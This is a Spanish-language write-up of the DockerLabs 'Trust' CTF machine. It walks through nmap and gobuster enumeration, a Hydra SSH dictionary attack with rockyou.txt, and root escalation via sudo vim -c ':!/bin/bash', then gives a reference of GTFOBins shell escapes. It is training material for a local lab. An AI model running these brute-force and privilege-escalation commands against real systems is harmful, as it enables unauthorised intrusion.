Trust

DockerLabs — Linux · Gobuster → Hydra SSH → sudo vim PrivEsc

MUY FÁCIL DOCKERLABS LINUX GOBUSTER HYDRA VIM SUDO // Abril 2026

Resumen

Trust es una máquina de dificultad muy fácil de la plataforma DockerLabs, publicada el 02/04/2024. Corre sobre Linux Debian y expone únicamente dos servicios: SSH (puerto 22) y un servidor web HTTP (puerto 80) con Apache 2.4.57.

El vector de ataque arranca con la enumeración del servidor web mediante Gobuster, que descubre un archivo secret.php con el mensaje "Hola Mario" — lo que revela directamente el nombre de usuario del sistema. Con ese dato se ejecuta un ataque de diccionario sobre SSH usando Hydra con el wordlist rockyou.txt, obteniendo la contraseña chocolate. Una vez dentro como mario, la escalada a root se logra aprovechando que el usuario puede ejecutar vim con sudo sin restricciones, escapando a una shell privilegiada con un solo comando.

FaseTécnica / HerramientaResultado
Despliegueauto_deploy.sh + pingMáquina activa en 172.18.0.2
ReconocimientoNmap -sSCV full scan + xsltprocPuertos 22 y 80 abiertos; Apache 2.4.57
Enum. WebGobuster dir + extensiones php,htmlsecret.php descubierto (status 200)
OSINT pasivoLectura de secret.php en navegadorUsuario: mario
Acceso inicialHydra SSH brute force + rockyou.txtContraseña: chocolate
Acceso inicialSSH mario@172.18.0.2Shell como mario
Enum. post-accesosudo -l + find SUIDvim ejecutable como root via sudo
Privescsudo vim -c ':!/bin/bash'Shell como root ✓

Reconocimiento

1
DESPLIEGUE DE LA MÁQUINA

El primer paso es desplegar la máquina vulnerable. DockerLabs proporciona el script auto_deploy.sh que construye el contenedor Docker a partir de trust.tar, asigna una IP dentro de la red interna Docker (172.18.0.x) y mantiene la máquina activa hasta que se presiona Ctrl+C. Se requiere sudo porque Docker necesita privilegios para gestionar redes e imágenes.

DEPLOY
$ sudo bash auto_deploy.sh trust.tar
Estamos desplegando la máquina vulnerable, espere un momento.
 
Máquina desplegada, su dirección IP es ——> 172.18.0.2
Presiona Ctrl+C cuando termines con la máquina para eliminarla
2
VERIFICACIÓN DE CONECTIVIDAD — PING

Antes de cualquier escaneo, verificamos que la máquina está activa y responde a tráfico ICMP. La flag -c 3 limita el envío a 3 paquetes para no saturar la red. Un TTL=64 en la respuesta confirma que el sistema operativo objetivo es Linux, ya que Windows devuelve TTL=128 por defecto. Este dato es útil para orientar el reconocimiento posterior.

PING
$ ping 172.18.0.2 -c 3
PING 172.18.0.2 (172.18.0.2) 56(84) bytes of data.
64 bytes from 172.18.0.2: icmp_seq=1 ttl=64 time=0.195 ms
64 bytes from 172.18.0.2: icmp_seq=2 ttl=64 time=0.060 ms
64 bytes from 172.18.0.2: icmp_seq=3 ttl=64 time=0.071 ms
 
--- 172.18.0.2 ping statistics ---
3 packets transmitted, 3 received, 0% packet loss, time 2055ms
3
ESCANEO DE PUERTOS — NMAP

Con conectividad confirmada, lanzamos un escaneo exhaustivo con Nmap. La combinación de flags -p- escanea los 65535 puertos TCP, -sSCV realiza un SYN scan sigiloso, detecta versiones de servicio y ejecuta los scripts NSE por defecto. Las flags -n -Pn desactivan la resolución DNS y el ping previo (útil en entornos Docker donde el ICMP puede estar filtrado). --min-rate=5000 acelera el escaneo enviando al menos 5000 paquetes por segundo. El resultado se exporta a XML con -oX para procesarlo después con xsltproc.

NMAP
$ sudo nmap -p- -sSCV -n -Pn --min-rate=5000 --open 172.18.0.2 -oX trust.xml
Starting Nmap 7.99 ( https://nmap.org ) at 2026-04-30 17:31 -0400
Nmap scan report for 172.18.0.2
Host is up (0.000011s latency).
Not shown: 65533 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 9.2p1 Debian 2+deb12u2 (protocol 2.0)
80/tcp open http Apache httpd 2.4.57 ((Debian))
|_http-server-header: Apache/2.4.57 (Debian)
|_http-title: Apache2 Debian Default Page: It works
MAC Address: 3E:07:75:15:56:C8 (Unknown)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

// HALLAZGOS CLAVE

Solo 2 puertos abiertos: 22 (SSH) con OpenSSH 9.2p1 Debian y 80 (HTTP) con Apache 2.4.57 Debian. Sin FTP, sin SMB. La superficie de ataque es mínima — todo el reconocimiento se centrará en el servidor web para obtener un vector de entrada hacia SSH.

4
REPORTE HTML CON XSLTPROC

Convertimos el XML de Nmap a HTML para tener una vista más cómoda y legible del escaneo. xsltproc aplica la hoja de estilos XSL oficial de Nmap sobre el XML generado y produce un informe HTML navegable con tabla de puertos, versiones y scripts NSE.

XSLT
$ xsltproc /usr/share/nmap/nmap.xsl trust.xml > trust.html

Enumeración Web

5
FUZZING DE DIRECTORIOS — GOBUSTER

El puerto 80 muestra la página por defecto de Apache ("It works"), que no contiene información útil. El siguiente paso es aplicar fuzzing de directorios y archivos con Gobuster. A diferencia de wfuzz, Gobuster está escrito en Go y es notablemente más rápido en targets locales. Usamos el wordlist DirBuster-2007 directory-list-lowercase-2.3-medium.txt de SecLists (uno de los más completos para CTFs), y añadimos las extensiones html, php, sh, py para descubrir no solo directorios sino también archivos con esas extensiones.

GOBUSTER
$ gobuster dir -u 172.18.0.2 -w /usr/share/wordlists/seclists/Discovery/Web-Content/DirBuster-2007_directory-list-lowercase-2.3-medium.txt -x html,php,sh,py
===============================================================
Gobuster v3.8.2
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://172.18.0.2
[+] Wordlist: DirBuster-2007_directory-list-lowercase-2.3-medium.txt
[+] Extensions: html,php,sh,py
===============================================================
 
index.html (Status: 200) [Size: 10701]
secret.php (Status: 200) [Size: 927]
server-status (Status: 403) [Size: 275]
 
Finished
6
INSPECCIÓN DE SECRET.PHP — OSINT PASIVO

Gobuster revela un archivo secret.php con status 200. Al navegar a http://172.18.0.2/secret.php en el navegador, encontramos el mensaje:

Hola Mario,
Esta web no se puede hackear.

El mensaje nos saluda por nombre: Mario. Esta es la pista de OSINT pasivo de la máquina — el desarrollador dejó expuesto el nombre de un usuario real del sistema. En CTFs de nivel fácil, este tipo de "descuidos" son intencionados y forman parte del vector de ataque. Ya tenemos el primer factor de las credenciales SSH: usuario = mario.

// NOTA: SURFACE DE ATAQUE REDUCIDA

En esta máquina no hay FTP anónimo ni directorios de backup como en Obsession. El único dato que necesitamos extraer del servidor web es el nombre de usuario, y lo obtenemos directamente de secret.php. Todo lo demás lo resuelve Hydra contra SSH.


Acceso Inicial

7
FUERZA BRUTA SSH — HYDRA

Con el usuario mario confirmado, lanzamos Hydra para realizar un ataque de diccionario contra el servicio SSH del puerto 22. Usamos rockyou.txt, el wordlist de contraseñas más utilizado en CTFs (14.3 millones de contraseñas reales filtradas del breche RockYou 2009). La flag -f detiene Hydra en cuanto encuentra la primera combinación válida. Con -t 20 lanzamos 20 hilos en paralelo y -V muestra cada intento en pantalla para monitorear el progreso.

HYDRA
$ hydra -l mario -P /home/kali/Desktop/diccionarios/rockyou.txt -f ssh://172.18.0.2 -t 20 -V
[ATTEMPT] target 172.18.0.2 - login "mario" - pass "sunshine" - 26 of 14344401
[ATTEMPT] target 172.18.0.2 - login "mario" - pass "chocolate" - 27 of 14344401
...
 
[22][ssh] host: 172.18.0.2 login: mario password: chocolate
[STATUS] attack finished for 172.18.0.2 (valid pair found)
1 of 1 target successfully completed, 1 valid password found
USUARIO
mario
CONTRASEÑA
chocolate
SERVICIO
SSH / 22
8
CONEXIÓN SSH

Con las credenciales obtenidas, nos conectamos por SSH. Si el sistema ya almacenó una clave del host anterior para esta IP (por ejemplo de otra máquina Docker), SSH bloqueará la conexión por discrepancia de fingerprint. En ese caso, se elimina la entrada antigua con ssh-keygen -R 172.18.0.2 y se reconecta. Al conectar por primera vez, SSH pedirá confirmación para almacenar el nuevo fingerprint — respondemos yes.

SSH
$ ssh mario@172.18.0.2
# Si da error de host key: ssh-keygen -R 172.18.0.2
mario@172.18.0.2's password: chocolate
 
Linux 1364d16e81a8 6.18.12+kali-amd64 #1 SMP PREEMPT_DYNAMIC Kali (2026-02-25) x86_64
 
The programs included with the Debian GNU/Linux system are free software;
Last login: Wed Mar 20 09:54:46 2024 from 192.168.0.21
 
mario@1364d16e81a8:~$ _

// SHELL OBTENIDA

Acceso inicial conseguido como mario. Ahora comenzamos la fase de enumeración post-acceso para buscar vectores de escalada de privilegios. Objetivo: llegar a root.


Escalada de Privilegios

9
ENUMERACIÓN — SUDO Y SUID

Los dos comandos más importantes al obtener acceso a un sistema Linux son sudo -l y la búsqueda de binarios con bit SUID. El primero lista qué comandos puede ejecutar el usuario actual con privilegios de otro usuario (normalmente root) mediante sudo. El segundo busca binarios con el bit SUID activo que se ejecuten con los permisos del propietario (root), y que podamos abusar para escalar privilegios.

SUDO
mario@1364d16e81a8:~$ sudo -l
[sudo] password for mario:
Matching Defaults entries for mario on 1364d16e81a8:
env_reset, mail_badpass, secure_path=..., use_pty
 
User mario may run the following commands on 1364d16e81a8:
(ALL) /usr/bin/vim
SUID
mario@1364d16e81a8:~$ find / -perm -4000 2>/dev/null
/usr/lib/openssh/ssh-keysign
/usr/bin/su
/usr/bin/chfn
/usr/bin/newgrp
/usr/bin/mount
/usr/bin/umount
/usr/bin/passwd
/usr/bin/gpasswd
/usr/bin/chsh
/usr/bin/sudo
 
# Todos son binarios estándar del sistema sin exploit directo útil.
# El vector real es sudo vim.

// ANÁLISIS DE VECTORES

Los binarios SUID encontrados (su, mount, passwd, sudo...) son todos parte del sistema base de Debian y no tienen exploits directos aplicables aquí. El vector real y limpio es sudo vim: mario puede ejecutar vim como root sin restricciones ((ALL) /usr/bin/vim), y vim permite escapar a una shell interactiva mediante su funcionalidad de ejecución de comandos.

10
ESCALADA A ROOT — SUDO VIM

Vim tiene una funcionalidad de comandos Ex que permite ejecutar comandos de shell directamente desde dentro del editor. La flag -c ejecuta un comando Ex al arrancar Vim, antes de mostrar ningún buffer. El comando :!/bin/bash invoca una shell desde Vim. Como Vim se ejecuta con sudo, la shell heredada es de root. No es necesario abrir ningún archivo ni editar nada — el exploit ocurre en el arranque.

PRIVESC
mario@1364d16e81a8:~$ sudo vim -c ':!/bin/bash'
root@1364d16e81a8:/home/mario# whoami
root
 
root@1364d16e81a8:/home/mario# id
uid=0(root) gid=0(root) groups=0(root)
USUARIO FINAL
root
UID
0
VECTOR
sudo vim -c ':!/bin/bash'

Referencia de Comandos

Nmap
nmap -p- -sSCV -n -Pn --min-rate=5000

Escáner de puertos y servicios. El más utilizado en reconocimiento activo. Combina detección de versiones, scripts NSE y escaneo sigiloso SYN.

  • -p- → todos los puertos (1–65535)
  • -sS → SYN scan (sigiloso, no completa handshake)
  • -sC → scripts NSE por defecto
  • -sV → detección de versiones
  • -n → sin resolución DNS
  • -Pn → sin ping previo
  • --min-rate=5000 → velocidad mínima de paquetes
  • -oX → exportar a XML
Gobuster
gobuster dir -u URL -w wordlist -x ext

Fuzzer de directorios y archivos web escrito en Go. Más rápido que DirBuster en la mayoría de escenarios. Ideal para descubrir rutas ocultas en servidores web.

  • dir → modo de enumeración de directorios
  • -u → URL objetivo
  • -w → wordlist a usar
  • -x → extensiones a probar (php,html,sh...)
  • -t → número de hilos (default: 10)
  • -o → guardar output a archivo
Hydra
hydra -l user -P wordlist proto://ip

Herramienta de fuerza bruta para múltiples protocolos de red. Soporta SSH, FTP, HTTP, SMB, RDP, y muchos más. Paraleliza los intentos con múltiples hilos.

  • -l → usuario único
  • -L → lista de usuarios
  • -p → contraseña única
  • -P → wordlist de contraseñas
  • -f → parar al encontrar primera credencial válida
  • -t N → N hilos paralelos
  • -V → verbose (muestra cada intento)
Sudo + GTFOBins
sudo -l → identificar binarios abusables

sudo -l lista los comandos que puede ejecutar el usuario actual con privilegios elevados. GTFOBins cataloga cómo abusar de binarios legítimos para escalar privilegios.

  • sudo -l → lista de permisos sudo del usuario
  • sudo vim -c ':!/bin/bash' → shell root via vim
  • sudo vim -c ':py import os; os.execl("/bin/bash"...)' → via Python
  • sudo find . -exec /bin/bash \; → via find
  • sudo python3 -c 'import os; os.system("/bin/bash")' → via Python

Glosario

Gobuster
Gobuster es una herramienta de fuzzing de directorios y archivos web escrita en Go por OJ Reeves. A diferencia de DirBuster (Java) o wfuzz (Python), su implementación en Go la hace considerablemente más rápida gracias a la gestión nativa de goroutines. Soporta los modos dir (directorios), dns (subdominios), vhost (virtual hosts) y s3 (buckets). En el modo dir, Gobuster prueba cada entrada del wordlist como ruta en el servidor web, opcionalmente añadiendo extensiones de archivo, y reporta las que devuelven un código de estado HTTP no bloqueado (normalmente 200, 301, 302).
Fuzzing de Directorios Web
El fuzzing de directorios (también llamado directory brute-forcing o content discovery) es la técnica de enumerar rutas ocultas en un servidor web probando sistemáticamente una lista de nombres de directorios y archivos comunes. El objetivo es encontrar recursos no enlazados desde la página principal: paneles de administración (/admin), archivos de configuración (config.php), backups (backup.zip), páginas de desarrollo (secret.php), etc. Las wordlists más usadas en CTFs son las de SecLists (DirBuster, Discovery, common.txt).
Sudo (Superuser Do)
sudo permite a usuarios ejecutar comandos con los privilegios de otro usuario (generalmente root), previa autenticación y validación contra el archivo /etc/sudoers. El comando sudo -l lista todos los permisos del usuario actual sin necesidad de ser root. Una regla como (ALL) /usr/bin/vim significa que el usuario puede ejecutar vim como cualquier usuario del sistema, incluyendo root. Si un binario con acceso sudo permite ejecutar comandos de shell (como vim, python, find, less...), se convierte en un vector de escalada de privilegios catalogado en GTFOBins.
GTFOBins
GTFOBins (gtfobins.github.io) es una referencia curada de binarios Unix/Linux que pueden ser abusados para: escapar de entornos restringidos, escalar privilegios, leer o escribir archivos arbitrarios, ejecutar código, o establecer reverse shells. Documenta vectores de explotación para binarios legítimos del sistema cuando tienen permisos especiales como SUID, sudo o capabilities. En este writeup, vim con sudo permite ejecutar :!/bin/bash para obtener una shell interactiva como root, aprovechando que vim puede invocar comandos de shell externos desde su modo de comandos Ex.
Vim — Comandos Ex y Escape a Shell
Vim es un editor de texto avanzado con un sistema de comandos llamado modo Ex (heredado del editor vi original). En modo Ex, el comando :! permite ejecutar comandos de shell externos. Por ejemplo, :!/bin/bash abre una bash interactiva desde dentro de Vim. La flag -c de Vim ejecuta un comando Ex directamente al arrancar, antes de mostrar ningún buffer de edición. Cuando Vim se lanza con sudo, la shell invocada hereda los privilegios de root. Este comportamiento está documentado en GTFOBins bajo la sección "Shell" de vim con la entrada "Sudo".
TTL y Fingerprinting de SO mediante Ping
El TTL (Time To Live) es un campo del encabezado IP que indica cuántos saltos (routers) puede atravesar un paquete antes de ser descartado. Cada SO tiene un TTL inicial por defecto diferente: Linux → 64, Windows → 128, Cisco IOS → 255. Al hacer ping a un host y ver el TTL de la respuesta, podemos inferir el sistema operativo sin necesidad de Nmap. En redes locales sin routers intermedios (como Docker), el TTL recibido es igual al TTL original del host, haciendo la identificación directa. Si recibes TTL=64, el objetivo corre Linux con alta probabilidad.
Ataque de Diccionario / Fuerza Bruta
Un ataque de diccionario prueba contraseñas de una lista precompilada en lugar de todas las combinaciones posibles (fuerza bruta pura). rockyou.txt contiene 14.3 millones de contraseñas reales filtradas del breach de RockYou en 2009, y es el estándar en CTFs porque refleja contraseñas que personas reales usan: palabras comunes, nombres, secuencias numéricas. Hydra automatiza este proceso contra protocolos de red como SSH, FTP o HTTP. En esta máquina, la contraseña chocolate aparece en posición 27 del wordlist, lo que demuestra por qué las contraseñas simples son críticas en entornos reales.
OSINT Pasivo en CTFs
OSINT (Open Source Intelligence) en el contexto de CTFs se refiere a la recolección de información disponible públicamente sin interacción directa que pueda alertar al sistema objetivo. En Trust, el usuario mario se obtuvo de forma completamente pasiva: visitando secret.php en un navegador, una acción que cualquier usuario haría al explorar un sitio web. Este tipo de "fuga de información" es un misconfiguration real: nunca se deben exponer nombres de usuarios, rutas internas o información de sistema en páginas web accesibles públicamente.
Post-Explotación y Escalada de Privilegios
La post-explotación es la fase que comienza al obtener acceso inicial a un sistema. Incluye: enumeración del sistema (usuarios, grupos, procesos, red), búsqueda de credenciales almacenadas, y escalada de privilegios (pasar de usuario estándar a root/SYSTEM). Los vectores más comunes en Linux son: permisos sudo mal configurados, binarios SUID abusables, tareas cron ejecutadas como root, capabilities de Linux, servicios mal configurados y contraseñas reutilizadas. En CTFs, la post-explotación suele terminar al obtener acceso root y leer el archivo flag correspondiente.
SSH — known_hosts y Host Key Verification
SSH protege contra ataques Man-in-the-Middle almacenando la huella digital (fingerprint) de la clave pública de cada servidor en ~/.ssh/known_hosts. Si la clave del servidor cambia (por ejemplo, al recrear un contenedor Docker con la misma IP), SSH bloquea la conexión por seguridad. En entornos CTF esto ocurre con frecuencia — la solución es eliminar la entrada antigua con ssh-keygen -R <IP> y reconectar. En redes reales, un cambio de clave inesperado podría indicar un ataque real y nunca debería ignorarse sin investigar.